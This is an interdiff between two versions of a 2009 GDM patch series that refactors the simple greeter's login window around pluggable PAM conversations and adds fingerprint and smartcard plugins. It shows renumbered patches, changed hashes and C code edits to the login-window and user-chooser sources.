  gui/simple-greeter/gdm-greeter-plugin.c            |  255 ++++++++
@@ -8223,7 +8284,7 @@ run.
  gui/simple-greeter/plugins/password/page.ui        |   56 ++
  gui/simple-greeter/plugins/password/plugin.c       |   40 ++
  po/POTFILES.in                                     |    1 +
- 30 files changed, 2991 insertions(+), 297 deletions(-)
+ 30 files changed, 2986 insertions(+), 298 deletions(-)
  create mode 100644 gui/simple-greeter/gdm-greeter-plugin.c
  create mode 100644 gui/simple-greeter/gdm-greeter-plugin.h
  create mode 100644 gui/simple-greeter/gdm-plugin-manager.c
@@ -8462,7 +8523,7 @@ index 2f857dc..f879307 100644
          void (* selected_user_changed)   (GdmGreeterClient  *client,
                                            const char        *username);
 diff --git a/gui/simple-greeter/gdm-greeter-login-window.c b/gui/simple-greeter/gdm-greeter-login-window.c
-index 82411d1..7853094 100644
+index 82411d1..c12d6f2 100644
 --- a/gui/simple-greeter/gdm-greeter-login-window.c
 +++ b/gui/simple-greeter/gdm-greeter-login-window.c
 @@ -1,7 +1,7 @@
@@ -8714,26 +8775,29 @@ index 82411d1..7853094 100644
                  default_name = "log-in-button";
                  break;
          default:
-@@ -509,24 +588,45 @@ switch_mode (GdmGreeterLoginWindow *login_window,
+@@ -508,25 +587,40 @@ switch_mode (GdmGreeterLoginWindow *login_window,
+         }
  }
  
- static void
+-static void
 -delete_entry_text (GtkWidget *entry)
-+do_disconnect (GdmGreeterLoginWindow *login_window)
-+{
-+        gtk_main_quit ();
-+}
-+
 +static gboolean
 +task_has_service_name (GdmTaskList *task_list,
 +                       GdmTask     *task,
 +                       const char  *service_name)
-+{
+ {
+-        const char *typed_text;
+-        char       *null_text;
 +        char *task_service_name;
 +        gboolean has_service_name;
 +
 +        task_service_name = gdm_conversation_get_service_name (GDM_CONVERSATION (task));
-+
+ 
+-        /* try to scrub out any secret info */
+-        typed_text = gtk_entry_get_text (GTK_ENTRY (entry));
+-        null_text = g_strnfill (strlen (typed_text) + 1, '\b');
+-        gtk_entry_set_text (GTK_ENTRY (entry), null_text);
+-        gtk_entry_set_text (GTK_ENTRY (entry), "");
 +        has_service_name = strcmp (service_name, task_service_name) == 0;
 +        g_free (task_service_name);
 +
@@ -8744,20 +8808,13 @@ index 82411d1..7853094 100644
 +reset_task (GdmTaskList           *task_list,
 +            GdmTask               *task,
 +            GdmGreeterLoginWindow *login_window)
- {
--        const char *typed_text;
--        char       *null_text;
++{
 +        char *name;
 +
 +        name = gdm_task_get_name (task);
 +        g_debug ("Resetting task '%s'", name);
 +        g_free (name);
- 
--        /* try to scrub out any secret info */
--        typed_text = gtk_entry_get_text (GTK_ENTRY (entry));
--        null_text = g_strnfill (strlen (typed_text) + 1, '\b');
--        gtk_entry_set_text (GTK_ENTRY (entry), null_text);
--        gtk_entry_set_text (GTK_ENTRY (entry), "");
++
 +        gdm_conversation_reset (GDM_CONVERSATION (task));
 +        return FALSE;
  }
@@ -8771,7 +8828,7 @@ index 82411d1..7853094 100644
          g_debug ("GdmGreeterLoginWindow: Resetting dialog");
          set_busy (login_window);
          set_sensitive (login_window, FALSE);
-@@ -550,16 +650,12 @@ reset_dialog (GdmGreeterLoginWindow *login_window)
+@@ -550,16 +644,12 @@ reset_dialog (GdmGreeterLoginWindow *login_window)
                  login_window->priv->start_session_handler_id = 0;
          }
  
@@ -8792,7 +8849,7 @@ index 82411d1..7853094 100644
          switch_mode (login_window, MODE_SELECTION);
  
          set_sensitive (login_window, TRUE);
-@@ -583,11 +679,22 @@ do_cancel (GdmGreeterLoginWindow *login_window)
+@@ -583,11 +673,22 @@ do_cancel (GdmGreeterLoginWindow *login_window)
  }
  
  gboolean
@@ -8817,7 +8874,7 @@ index 82411d1..7853094 100644
  
          set_sensitive (GDM_GREETER_LOGIN_WINDOW (login_window), TRUE);
          set_ready (GDM_GREETER_LOGIN_WINDOW (login_window));
-@@ -597,12 +704,63 @@ gdm_greeter_login_window_ready (GdmGreeterLoginWindow *login_window)
+@@ -597,12 +698,63 @@ gdm_greeter_login_window_ready (GdmGreeterLoginWindow *login_window)
  }
  
  gboolean
@@ -8882,7 +8939,7 @@ index 82411d1..7853094 100644
          return TRUE;
  }
  
-@@ -611,12 +769,20 @@ gdm_greeter_login_window_info (GdmGreeterLoginWindow *login_window,
+@@ -611,12 +763,20 @@ gdm_greeter_login_window_info (GdmGreeterLoginWindow *login_window,
                                 const char            *service_name,
                                 const char            *text)
  {
@@ -8906,7 +8963,7 @@ index 82411d1..7853094 100644
          }
  
          return TRUE;
-@@ -627,13 +793,22 @@ gdm_greeter_login_window_problem (GdmGreeterLoginWindow *login_window,
+@@ -627,13 +787,22 @@ gdm_greeter_login_window_problem (GdmGreeterLoginWindow *login_window,
                                    const char            *service_name,
                                    const char            *text)
  {
@@ -8932,7 +8989,7 @@ index 82411d1..7853094 100644
          gdk_window_beep (GTK_WIDGET (login_window)->window);
  
          return TRUE;
-@@ -671,11 +846,21 @@ gdm_greeter_login_window_request_timed_login (GdmGreeterLoginWindow *login_windo
+@@ -671,11 +840,21 @@ gdm_greeter_login_window_request_timed_login (GdmGreeterLoginWindow *login_windo
  }
  
  static void
@@ -8956,7 +9013,7 @@ index 82411d1..7853094 100644
          } else {
                  g_debug ("GdmGreeterLoginWindow: not starting session since "
                           "user hasn't had an opportunity to pick language "
-@@ -685,8 +870,8 @@ gdm_greeter_login_window_start_session_when_ready (GdmGreeterLoginWindow *login_
+@@ -685,8 +864,8 @@ gdm_greeter_login_window_start_session_when_ready (GdmGreeterLoginWindow *login_
                   */
                  login_window->priv->start_session_handler_id =
                      g_signal_connect (login_window, "notify::is-interactive",
@@ -8967,7 +9024,7 @@ index 82411d1..7853094 100644
  
                  /* FIXME: If the user wasn't asked any questions by pam but
                   * pam still authorized them (passwd -d, or the questions got
-@@ -712,26 +897,24 @@ gdm_greeter_login_window_info_query (GdmGreeterLoginWindow *login_window,
+@@ -712,26 +891,24 @@ gdm_greeter_login_window_info_query (GdmGreeterLoginWindow *login_window,
                                       const char            *service_name,
                                       const char            *text)
  {
@@ -9005,7 +9062,7 @@ index 82411d1..7853094 100644
          set_sensitive (GDM_GREETER_LOGIN_WINDOW (login_window), TRUE);
          set_ready (GDM_GREETER_LOGIN_WINDOW (login_window));
          set_focus (GDM_GREETER_LOGIN_WINDOW (login_window));
-@@ -746,20 +929,23 @@ gdm_greeter_login_window_secret_info_query (GdmGreeterLoginWindow *login_window,
+@@ -746,20 +923,23 @@ gdm_greeter_login_window_secret_info_query (GdmGreeterLoginWindow *login_window,
                                              const char            *service_name,
                                              const char            *text)
  {
@@ -9038,7 +9095,7 @@ index 82411d1..7853094 100644
          set_sensitive (GDM_GREETER_LOGIN_WINDOW (login_window), TRUE);
          set_ready (GDM_GREETER_LOGIN_WINDOW (login_window));
          set_focus (GDM_GREETER_LOGIN_WINDOW (login_window));
-@@ -770,13 +956,16 @@ gdm_greeter_login_window_secret_info_query (GdmGreeterLoginWindow *login_window,
+@@ -770,13 +950,16 @@ gdm_greeter_login_window_secret_info_query (GdmGreeterLoginWindow *login_window,
  }
  
  void
@@ -9058,7 +9115,7 @@ index 82411d1..7853094 100644
  }
  
  static void
-@@ -859,6 +1048,46 @@ on_users_loaded (GdmUserChooserWidget  *user_chooser,
+@@ -859,6 +1042,46 @@ on_users_loaded (GdmUserChooserWidget  *user_chooser,
          gdm_chooser_widget_activate_if_one_item (GDM_CHOOSER_WIDGET (login_window->priv->user_chooser));
  }
  
@@ -9105,7 +9162,7 @@ index 82411d1..7853094 100644
  static void
  on_user_chosen (GdmUserChooserWidget  *user_chooser,
                  GdmGreeterLoginWindow *login_window)
-@@ -876,10 +1105,10 @@ on_user_chosen (GdmUserChooserWidget  *user_chooser,
+@@ -876,10 +1099,10 @@ on_user_chosen (GdmUserChooserWidget  *user_chooser,
                         0, user_name);
  
          if (strcmp (user_name, GDM_USER_CHOOSER_USER_OTHER) == 0) {
@@ -9120,7 +9177,7 @@ index 82411d1..7853094 100644
          } else if (strcmp (user_name, GDM_USER_CHOOSER_USER_GUEST) == 0) {
                  /* FIXME: handle guest account stuff */
          } else if (strcmp (user_name, GDM_USER_CHOOSER_USER_AUTO) == 0) {
-@@ -893,10 +1122,10 @@ on_user_chosen (GdmUserChooserWidget  *user_chooser,
+@@ -893,10 +1116,10 @@ on_user_chosen (GdmUserChooserWidget  *user_chooser,
                  set_log_in_button_mode (login_window, LOGIN_BUTTON_TIMED_LOGIN);
                  set_message (login_window, _("Select language and click Log In"));
          } else {
@@ -9135,7 +9192,7 @@ index 82411d1..7853094 100644
          }
  
          switch_mode (login_window, MODE_AUTHENTICATION);
-@@ -1042,17 +1271,65 @@ create_computer_info (GdmGreeterLoginWindow *login_window)
+@@ -1042,17 +1265,65 @@ create_computer_info (GdmGreeterLoginWindow *login_window)
  
  static void
  on_task_activated (GdmGreeterLoginWindow *login_window,
@@ -9206,7 +9263,7 @@ index 82411d1..7853094 100644
  }
  
  static GtkWidget *
-@@ -1089,7 +1366,6 @@ custom_widget_constructor (GladeXML              *xml,
+@@ -1089,7 +1360,6 @@ custom_widget_constructor (GladeXML              *xml,
  static void
  load_theme (GdmGreeterLoginWindow *login_window)
  {
@@ -9214,7 +9271,7 @@ index 82411d1..7853094 100644
          GtkWidget *button;
          GtkWidget *box;
          GtkWidget *image;
-@@ -1169,27 +1445,13 @@ load_theme (GdmGreeterLoginWindow *login_window)
+@@ -1169,27 +1439,13 @@ load_theme (GdmGreeterLoginWindow *login_window)
                                    login_window);
          gtk_widget_show (login_window->priv->conversation_list);
  
@@ -9243,7 +9300,7 @@ index 82411d1..7853094 100644
          create_computer_info (login_window);
  
          box = glade_xml_get_widget (login_window->priv->xml, "computer-info-event-box");
-@@ -1431,9 +1693,9 @@ gdm_greeter_login_window_class_init (GdmGreeterLoginWindowClass *klass)
+@@ -1431,9 +1687,9 @@ gdm_greeter_login_window_class_init (GdmGreeterLoginWindowClass *klass)
                                G_STRUCT_OFFSET (GdmGreeterLoginWindowClass, start_session),
                                NULL,
                                NULL,
@@ -9255,7 +9312,7 @@ index 82411d1..7853094 100644
  
          g_object_class_install_property (object_class,
                                           PROP_DISPLAY_IS_LOCAL,
-@@ -1486,6 +1748,187 @@ on_gconf_key_changed (GConfClient           *client,
+@@ -1486,6 +1742,187 @@ on_gconf_key_changed (GConfClient           *client,
          }
  }
  
@@ -12377,23 +12434,23 @@ index 9fb8a48..3963bd6 100644
  gui/user-switch-applet/gdm-entry-menu-item.c
  gui/user-switch-applet/GNOME_FastUserSwitchApplet.server.in.in
 -- 
-1.6.5.rc2
+1.6.5.1
 
 
-From d1e3b2fdc823978aee78d9ae95d6a9f87b863468 Mon Sep 17 00:00:00 2001
+From 35d7721af1d7718418616e15023487cb895d96e5 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Sat, 7 Feb 2009 21:17:49 -0500
-Subject: [PATCH 31/48] Force session reset if all PAM conversations fail
+Subject: [PATCH 35/53] Force session reset if all PAM conversations fail
 
 ---
  gui/simple-greeter/gdm-greeter-login-window.c |   22 +++++++++++++++++++---
  1 files changed, 19 insertions(+), 3 deletions(-)
 
 diff --git a/gui/simple-greeter/gdm-greeter-login-window.c b/gui/simple-greeter/gdm-greeter-login-window.c
-index 7853094..fb64a4a 100644
+index c12d6f2..37f0c40 100644
 --- a/gui/simple-greeter/gdm-greeter-login-window.c
 +++ b/gui/simple-greeter/gdm-greeter-login-window.c
-@@ -669,15 +669,21 @@ reset_dialog (GdmGreeterLoginWindow *login_window)
+@@ -663,15 +663,21 @@ reset_dialog (GdmGreeterLoginWindow *login_window)
  }
  
  static void
@@ -12418,7 +12475,7 @@ index 7853094..fb64a4a 100644
  gboolean
  gdm_greeter_login_window_ready (GdmGreeterLoginWindow *login_window,
                                  const char            *service_name)
-@@ -785,6 +791,16 @@ gdm_greeter_login_window_info (GdmGreeterLoginWindow *login_window,
+@@ -717,6 +723,16 @@ gdm_greeter_login_window_conversation_stopped (GdmGreeterLoginWindow *login_wind
                  g_object_unref (task);
          }
  
@@ -12436,13 +12493,13 @@ index 7853094..fb64a4a 100644
  }
  
 -- 
-1.6.5.rc2
+1.6.5.1
 
 
-From dfcd88875919a557296439ebdfecaabf78649665 Mon Sep 17 00:00:00 2001
+From 20b4038bef56b0e6d0db25992c5210fd38d01d4e Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Wed, 18 Feb 2009 12:32:39 -0500
-Subject: [PATCH 32/48] Add a way for plugins to pick users from list
+Subject: [PATCH 36/53] Add a way for plugins to pick users from list
 
 The smartcard plugin is going to want to
 start its conversation as soon as the card
@@ -12454,10 +12511,10 @@ gets plugged in.
  3 files changed, 74 insertions(+), 0 deletions(-)
 
 diff --git a/gui/simple-greeter/gdm-greeter-login-window.c b/gui/simple-greeter/gdm-greeter-login-window.c
-index fb64a4a..799603e 100644
+index 37f0c40..cb65be6 100644
 --- a/gui/simple-greeter/gdm-greeter-login-window.c
 +++ b/gui/simple-greeter/gdm-greeter-login-window.c
-@@ -1783,6 +1783,34 @@ on_conversation_answer (GdmGreeterLoginWindow *login_window,
+@@ -1777,6 +1777,34 @@ on_conversation_answer (GdmGreeterLoginWindow *login_window,
          set_ready (login_window);
  }
  
@@ -12492,7 +12549,7 @@ index fb64a4a..799603e 100644
  void
  gdm_greeter_login_window_remove_extension (GdmGreeterLoginWindow *login_window,
   GdmGreeterExtension *extension)
-@@ -1920,6 +1948,14 @@ gdm_greeter_login_window_add_extension (GdmGreeterLoginWindow *login_window,
+@@ -1914,6 +1942,14 @@ gdm_greeter_login_window_add_extension (GdmGreeterLoginWindow *login_window,
                                    "answer",
                                    G_CALLBACK (on_conversation_answer),
                                    login_window);
@@ -12593,13 +12650,13 @@ index f1910cf..fb4bf49 100644
  G_END_DECLS
  
 -- 
-1.6.5.rc2
+1.6.5.1
 
 
-From 39b4c1f3dd70b023c183b2d41bd39f483f61f991 Mon Sep 17 00:00:00 2001
+From 9e33e5d7726c70973a5e616c8e533bafa23cfd64 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Fri, 20 Feb 2009 14:05:20 -0500
-Subject: [PATCH 33/48] Add new api to ask when chooser widget is done loading items
+Subject: [PATCH 37/53] Add new api to ask when chooser widget is done loading items
 
 ---
  gui/simple-greeter/gdm-chooser-widget.c |    9 +++++++++
@@ -12649,13 +12706,13 @@ index 7e3e59c..6a07843 100644
   */
  void           gdm_chooser_widget_loaded                       (GdmChooserWidget          *widget);
 -- 
-1.6.5.rc2
+1.6.5.1
 
 
-From 20ee7a297a032e2c977045d011c6d99fdff0da66 Mon Sep 17 00:00:00 2001
+From 6b5f0a616b4095b66733065f0f1802633f0ec107 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Fri, 20 Feb 2009 14:31:27 -0500
-Subject: [PATCH 34/48] Tell tasks they're ready only after user list loads
+Subject: [PATCH 38/53] Tell tasks they're ready only after user list loads
 
 This way they won't try to access the list prematurely.
 ---
@@ -12663,10 +12720,10 @@ This way they won't try to access the li
  1 files changed, 27 insertions(+), 1 deletions(-)
 
 diff --git a/gui/simple-greeter/gdm-greeter-login-window.c b/gui/simple-greeter/gdm-greeter-login-window.c
-index 799603e..58625b3 100644
+index cb65be6..e316174 100644
 --- a/gui/simple-greeter/gdm-greeter-login-window.c
 +++ b/gui/simple-greeter/gdm-greeter-login-window.c
-@@ -684,6 +684,27 @@ do_cancel (GdmGreeterLoginWindow *login_window)
+@@ -678,6 +678,27 @@ do_cancel (GdmGreeterLoginWindow *login_window)
          restart_conversations (login_window);
  }
  
@@ -12694,7 +12751,7 @@ index 799603e..58625b3 100644
  gboolean
  gdm_greeter_login_window_ready (GdmGreeterLoginWindow *login_window,
                                  const char            *service_name)
-@@ -698,7 +719,12 @@ gdm_greeter_login_window_ready (GdmGreeterLoginWindow *login_window,
+@@ -692,7 +713,12 @@ gdm_greeter_login_window_ready (GdmGreeterLoginWindow *login_window,
                                             (gpointer) service_name);
  
          if (task != NULL) {
@@ -12709,13 +12766,13 @@ index 799603e..58625b3 100644
          }
  
 -- 
-1.6.5.rc2
+1.6.5.1
 
 
-From 5f1fdf2186b4bebbf8218c3ca08bd716c0767087 Mon Sep 17 00:00:00 2001
+From 402aeac71a440e00144a57dc99f99e5a47fde286 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Fri, 6 Feb 2009 16:25:47 -0500
-Subject: [PATCH 35/48] Add fingerprint plugin
+Subject: [PATCH 39/53] Add fingerprint plugin
 
 This commit adds a plugin to initiate a conversation for
 fingerprint scans.
@@ -13354,13 +13411,13 @@ index 0000000..5ea9925
 +        return GDM_GREETER_EXTENSION (extension);
 +}
 -- 
-1.6.5.rc2
+1.6.5.1
 
 
-From 8e46ce389a9fb76a0808e170f10d33af677ad9f8 Mon Sep 17 00:00:00 2001
+From 10ffdab61f62aa4ec68ff1c6cda99b3d27dec796 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Wed, 11 Feb 2009 08:47:52 -0500
-Subject: [PATCH 36/48] Add start of a smartcard plugin
+Subject: [PATCH 40/53] Add start of a smartcard plugin
 
 It contains a copy and paste of an old RHEL patch
 I did a few years ago.
@@ -16634,13 +16691,13 @@ index 3963bd6..4d219fb 100644
  gui/user-switch-applet/gdm-entry-menu-item.c
  gui/user-switch-applet/GNOME_FastUserSwitchApplet.server.in.in
 -- 
-1.6.5.rc2
+1.6.5.1
 
 
-From bd66f351d61a9cce64c3843d2b55055c1dc44853 Mon Sep 17 00:00:00 2001
+From 393c0519bc2d08420c2b19b6e513909d1199b8b7 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Mon, 23 Feb 2009 17:57:06 -0500
-Subject: [PATCH 37/48] Add a new "choosable" property to show tasks in user list
+Subject: [PATCH 41/53] Add a new "choosable" property to show tasks in user list
 
 Useful for Smartcard and some future "Guest" account plugin
 ---
@@ -16653,10 +16710,10 @@ Useful for Smartcard and some future "Gu
  6 files changed, 39 insertions(+), 3 deletions(-)
 
 diff --git a/gui/simple-greeter/gdm-greeter-login-window.c b/gui/simple-greeter/gdm-greeter-login-window.c
-index 58625b3..e095b4e 100644
+index e316174..a43a462 100644
 --- a/gui/simple-greeter/gdm-greeter-login-window.c
 +++ b/gui/simple-greeter/gdm-greeter-login-window.c
-@@ -1989,9 +1989,6 @@ gdm_greeter_login_window_add_extension (GdmGreeterLoginWindow *login_window,
+@@ -1983,9 +1983,6 @@ gdm_greeter_login_window_add_extension (GdmGreeterLoginWindow *login_window,
          g_debug ("GdmGreeterLoginWindow: new extension '%s - %s' added",
                  name, description);
  
@@ -16666,7 +16723,7 @@ index 58625b3..e095b4e 100644
          if (gdm_task_list_get_number_of_tasks (GDM_TASK_LIST (login_window->priv->conversation_list)) == 0) {
                  gtk_widget_hide (login_window->priv->conversation_list);
          } else {
-@@ -2002,6 +1999,16 @@ gdm_greeter_login_window_add_extension (GdmGreeterLoginWindow *login_window,
+@@ -1996,6 +1993,16 @@ gdm_greeter_login_window_add_extension (GdmGreeterLoginWindow *login_window,
                                  GDM_TASK (extension));
  
          service_name = gdm_conversation_get_service_name (GDM_CONVERSATION (extension));
@@ -16793,13 +16850,13 @@ index 6fa01fb..25d5de4 100644
  
  static void
 -- 
-1.6.5.rc2
+1.6.5.1
 
 
-From 669e4eb5c9afc0d08e2e5fdc95f9c84ab1d23335 Mon Sep 17 00:00:00 2001
+From 80d3f5efa1946fba373d7bb1aa6d86747f0c6c86 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Tue, 24 Feb 2009 15:12:35 -0500
-Subject: [PATCH 38/48] Separate handling of non-users in user list from users
+Subject: [PATCH 42/53] Separate handling of non-users in user list from users
 
 Now get_chosen_user returns NULL if the activated item
 wasn't a user.  We also separate the handling of on item
@@ -16814,10 +16871,10 @@ added items.
  3 files changed, 56 insertions(+), 22 deletions(-)
 
 diff --git a/gui/simple-greeter/gdm-greeter-login-window.c b/gui/simple-greeter/gdm-greeter-login-window.c
-index e095b4e..697189a 100644
+index a43a462..23ced52 100644
 --- a/gui/simple-greeter/gdm-greeter-login-window.c
 +++ b/gui/simple-greeter/gdm-greeter-login-window.c
-@@ -1131,29 +1131,49 @@ begin_task_verification_for_selected_user (GdmTaskList           *task_list,
+@@ -1125,29 +1125,49 @@ begin_task_verification_for_selected_user (GdmTaskList           *task_list,
  }
  
  static void
@@ -16878,7 +16935,7 @@ index e095b4e..697189a 100644
                  g_signal_emit (login_window, signals[BEGIN_AUTO_LOGIN], 0,
                                 login_window->priv->timed_login_username);
  
-@@ -1163,16 +1183,11 @@ on_user_chosen (GdmUserChooserWidget  *user_chooser,
+@@ -1157,16 +1177,11 @@ on_user_chosen (GdmUserChooserWidget  *user_chooser,
                  /* just wait for the user to select language and stuff */
                  set_log_in_button_mode (login_window, LOGIN_BUTTON_TIMED_LOGIN);
                  set_message (login_window, _("Select language and click Log In"));
@@ -16897,7 +16954,7 @@ index e095b4e..697189a 100644
  }
  
  static void
-@@ -1461,7 +1476,7 @@ load_theme (GdmGreeterLoginWindow *login_window)
+@@ -1455,7 +1470,7 @@ load_theme (GdmGreeterLoginWindow *login_window)
                            login_window);
          g_signal_connect (login_window->priv->user_chooser,
                            "activated",
@@ -16907,7 +16964,7 @@ index e095b4e..697189a 100644
          g_signal_connect (login_window->priv->user_chooser,
                            "deactivated",
 diff --git a/gui/simple-greeter/gdm-user-chooser-widget.c b/gui/simple-greeter/gdm-user-chooser-widget.c
-index 167e324..75cf7ed 100644
+index 77e06a7..bff71e5 100644
 --- a/gui/simple-greeter/gdm-user-chooser-widget.c
 +++ b/gui/simple-greeter/gdm-user-chooser-widget.c
 @@ -269,9 +269,30 @@ gdm_user_chooser_widget_set_show_user_auto (GdmUserChooserWidget *widget,
@@ -16956,13 +17013,13 @@ index 7aa99e7..316ef46 100644
  }
  
 -- 
-1.6.5.rc2
+1.6.5.1
 
 
-From 1a9d81b937e0017749537cb71b5ea70dcc179c07 Mon Sep 17 00:00:00 2001
+From 14b7d7bc52e270c7bbb1a25d128fe96d91cd20c7 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Fri, 27 Feb 2009 15:44:13 -0500
-Subject: [PATCH 39/48] Initiate smart card auth when clicking on it in list
+Subject: [PATCH 43/53] Initiate smart card auth when clicking on it in list
 
 ---
  gui/simple-greeter/gdm-greeter-login-window.c      |   24 ++++++++++++++++++++
@@ -16970,10 +17027,10 @@ Subject: [PATCH 39/48] Initiate smart ca
  2 files changed, 25 insertions(+), 1 deletions(-)
 
 diff --git a/gui/simple-greeter/gdm-greeter-login-window.c b/gui/simple-greeter/gdm-greeter-login-window.c
-index 697189a..661023f 100644
+index 23ced52..af21af3 100644
 --- a/gui/simple-greeter/gdm-greeter-login-window.c
 +++ b/gui/simple-greeter/gdm-greeter-login-window.c
-@@ -658,6 +658,7 @@ reset_dialog (GdmGreeterLoginWindow *login_window)
+@@ -652,6 +652,7 @@ reset_dialog (GdmGreeterLoginWindow *login_window)
          set_message (login_window, "");
          switch_mode (login_window, MODE_SELECTION);
  
@@ -16981,7 +17038,7 @@ index 697189a..661023f 100644
          set_sensitive (login_window, TRUE);
          set_ready (login_window);
          set_focus (GDM_GREETER_LOGIN_WINDOW (login_window));
-@@ -1151,6 +1152,7 @@ static void
+@@ -1145,6 +1146,7 @@ static void
  on_user_chooser_activated (GdmUserChooserWidget  *user_chooser,
                             GdmGreeterLoginWindow *login_window)
  {
@@ -16989,7 +17046,7 @@ index 697189a..661023f 100644
          char *item_id;
  
          user_name = gdm_user_chooser_widget_get_chosen_user_name (GDM_USER_CHOOSER_WIDGET (login_window->priv->user_chooser));
-@@ -1184,6 +1186,28 @@ on_user_chooser_activated (GdmUserChooserWidget  *user_chooser,
+@@ -1178,6 +1180,28 @@ on_user_chooser_activated (GdmUserChooserWidget  *user_chooser,
                  set_log_in_button_mode (login_window, LOGIN_BUTTON_TIMED_LOGIN);
                  set_message (login_window, _("Select language and click Log In"));
                  g_free (item_id);
@@ -17032,13 +17089,13 @@ index 25d5de4..a9e41f4 100644
                          gdm_conversation_cancel (GDM_CONVERSATION (extension));
                  }
 -- 
-1.6.5.rc2
+1.6.5.1
 
 
-From 8dafa2ee4d4c0cbb1084799842fcebcdafc598d6 Mon Sep 17 00:00:00 2001
+From 634e1d954b2ed35126ca87861ffdbeffedb5397f Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Mon, 2 Mar 2009 11:10:28 -0500
-Subject: [PATCH 40/48] Only show task list if user is selected
+Subject: [PATCH 44/53] Only show task list if user is selected
 
 ---
  gui/simple-greeter/gdm-greeter-login-window.c |   32 ++++++++++++++----------
@@ -17046,7 +17103,7 @@ Subject: [PATCH 40/48] Only show task li
  2 files changed, 28 insertions(+), 15 deletions(-)
 
 diff --git a/gui/simple-greeter/gdm-greeter-login-window.c b/gui/simple-greeter/gdm-greeter-login-window.c
-index 661023f..ed47b52 100644
+index af21af3..9041f76 100644
 --- a/gui/simple-greeter/gdm-greeter-login-window.c
 +++ b/gui/simple-greeter/gdm-greeter-login-window.c
 @@ -526,6 +526,7 @@ switch_mode (GdmGreeterLoginWindow *login_window,
@@ -17081,7 +17138,7 @@ index 661023f..ed47b52 100644
                  default_name = "log-in-button";
                  break;
          default:
-@@ -1169,11 +1178,14 @@ on_user_chooser_activated (GdmUserChooserWidget  *user_chooser,
+@@ -1163,11 +1172,14 @@ on_user_chooser_activated (GdmUserChooserWidget  *user_chooser,
  
          if (strcmp (item_id, GDM_USER_CHOOSER_USER_OTHER) == 0) {
                  g_debug ("GdmGreeterLoginWindow: Starting all auth conversations");
@@ -17097,7 +17154,7 @@ index 661023f..ed47b52 100644
          } else if (strcmp (item_id, GDM_USER_CHOOSER_USER_AUTO) == 0) {
                  g_debug ("GdmGreeterLoginWindow: Starting auto login");
                  g_signal_emit (login_window, signals[BEGIN_AUTO_LOGIN], 0,
-@@ -1186,6 +1198,8 @@ on_user_chooser_activated (GdmUserChooserWidget  *user_chooser,
+@@ -1180,6 +1192,8 @@ on_user_chooser_activated (GdmUserChooserWidget  *user_chooser,
                  set_log_in_button_mode (login_window, LOGIN_BUTTON_TIMED_LOGIN);
                  set_message (login_window, _("Select language and click Log In"));
                  g_free (item_id);
@@ -17106,7 +17163,7 @@ index 661023f..ed47b52 100644
          } else {
                  GdmTask *task;
  
-@@ -1200,18 +1214,17 @@ on_user_chooser_activated (GdmUserChooserWidget  *user_chooser,
+@@ -1194,18 +1208,17 @@ on_user_chooser_activated (GdmUserChooserWidget  *user_chooser,
                          return;
                  }
                  g_debug ("GdmGreeterLoginWindow: Beginning auth conversation for item %s", item_id);
@@ -17129,7 +17186,7 @@ index 661023f..ed47b52 100644
  }
  
  static void
-@@ -1524,7 +1537,6 @@ load_theme (GdmGreeterLoginWindow *login_window)
+@@ -1518,7 +1531,6 @@ load_theme (GdmGreeterLoginWindow *login_window)
                                    "deactivated",
                                    G_CALLBACK (on_task_deactivated),
                                    login_window);
@@ -17137,7 +17194,7 @@ index 661023f..ed47b52 100644
  
          login_window->priv->auth_banner_label = glade_xml_get_widget (login_window->priv->xml, "auth-banner-label");
          /*make_label_small_italic (login_window->priv->auth_banner_label);*/
-@@ -2028,12 +2040,6 @@ gdm_greeter_login_window_add_extension (GdmGreeterLoginWindow *login_window,
+@@ -2022,12 +2034,6 @@ gdm_greeter_login_window_add_extension (GdmGreeterLoginWindow *login_window,
          g_debug ("GdmGreeterLoginWindow: new extension '%s - %s' added",
                  name, description);
  
@@ -17182,13 +17239,13 @@ index 25831a6..162b784 100644
  
  int
 -- 
-1.6.5.rc2
+1.6.5.1
 
 
-From 71fd47612790465472f8fb89a9d687c5275e3843 Mon Sep 17 00:00:00 2001
+From a3d474a6a37a7b376b9d534ac48f8888b6839835 Mon Sep 17 00:00:00 2001
 From: Ray Strode <rstrode at redhat.com>
 Date: Mon, 2 Mar 2009 13:53:34 -0500
-Subject: [PATCH 41/48] Pull verification functions out into their own subroutines
+Subject: [PATCH 45/53] Pull verification functions out into their own subroutines
 
 This makes the function smaller and easier to read
 ---
@@ -17196,10 +17253,10 @@ This makes the function smaller and easi
  1 files changed, 95 insertions(+), 40 deletions(-)
 
 diff --git a/gui/simple-greeter/gdm-greeter-login-window.c b/gui/simple-greeter/gdm-greeter-login-window.c
-index ed47b52..372e5f8 100644
+index 9041f76..fb54e5f 100644
 --- a/gui/simple-greeter/gdm-greeter-login-window.c
 +++ b/gui/simple-greeter/gdm-greeter-login-window.c
-@@ -1116,6 +1116,17 @@ begin_task_verification (GdmTaskList           *task_list,
+@@ -1110,6 +1110,17 @@ begin_task_verification (GdmTaskList           *task_list,
          return FALSE;
  }
  
@@ -17217,7 +17274,7 @@ index ed47b52..372e5f8 100644
  static gboolean
  begin_task_verification_for_selected_user (GdmTaskList           *task_list,
                                             GdmTask               *task,
-@@ -1141,6 +1152,15 @@ begin_task_verification_for_selected_user (GdmTaskList           *task_list,
+@@ -1135,6 +1146,15 @@ begin_task_verification_for_selected_user (GdmTaskList           *task_list,
  }
  
  static void
@@ -17233,7 +17290,7 @@ index ed47b52..372e5f8 100644
  on_user_chosen (GdmGreeterLoginWindow *login_window,
                  const char            *user_name)
  {
-@@ -1149,12 +1169,78 @@ on_user_chosen (GdmGreeterLoginWindow *login_window,
+@@ -1143,12 +1163,78 @@ on_user_chosen (GdmGreeterLoginWindow *login_window,
          g_signal_emit (G_OBJECT (login_window), signals[USER_SELECTED],
                         0, user_name);
  
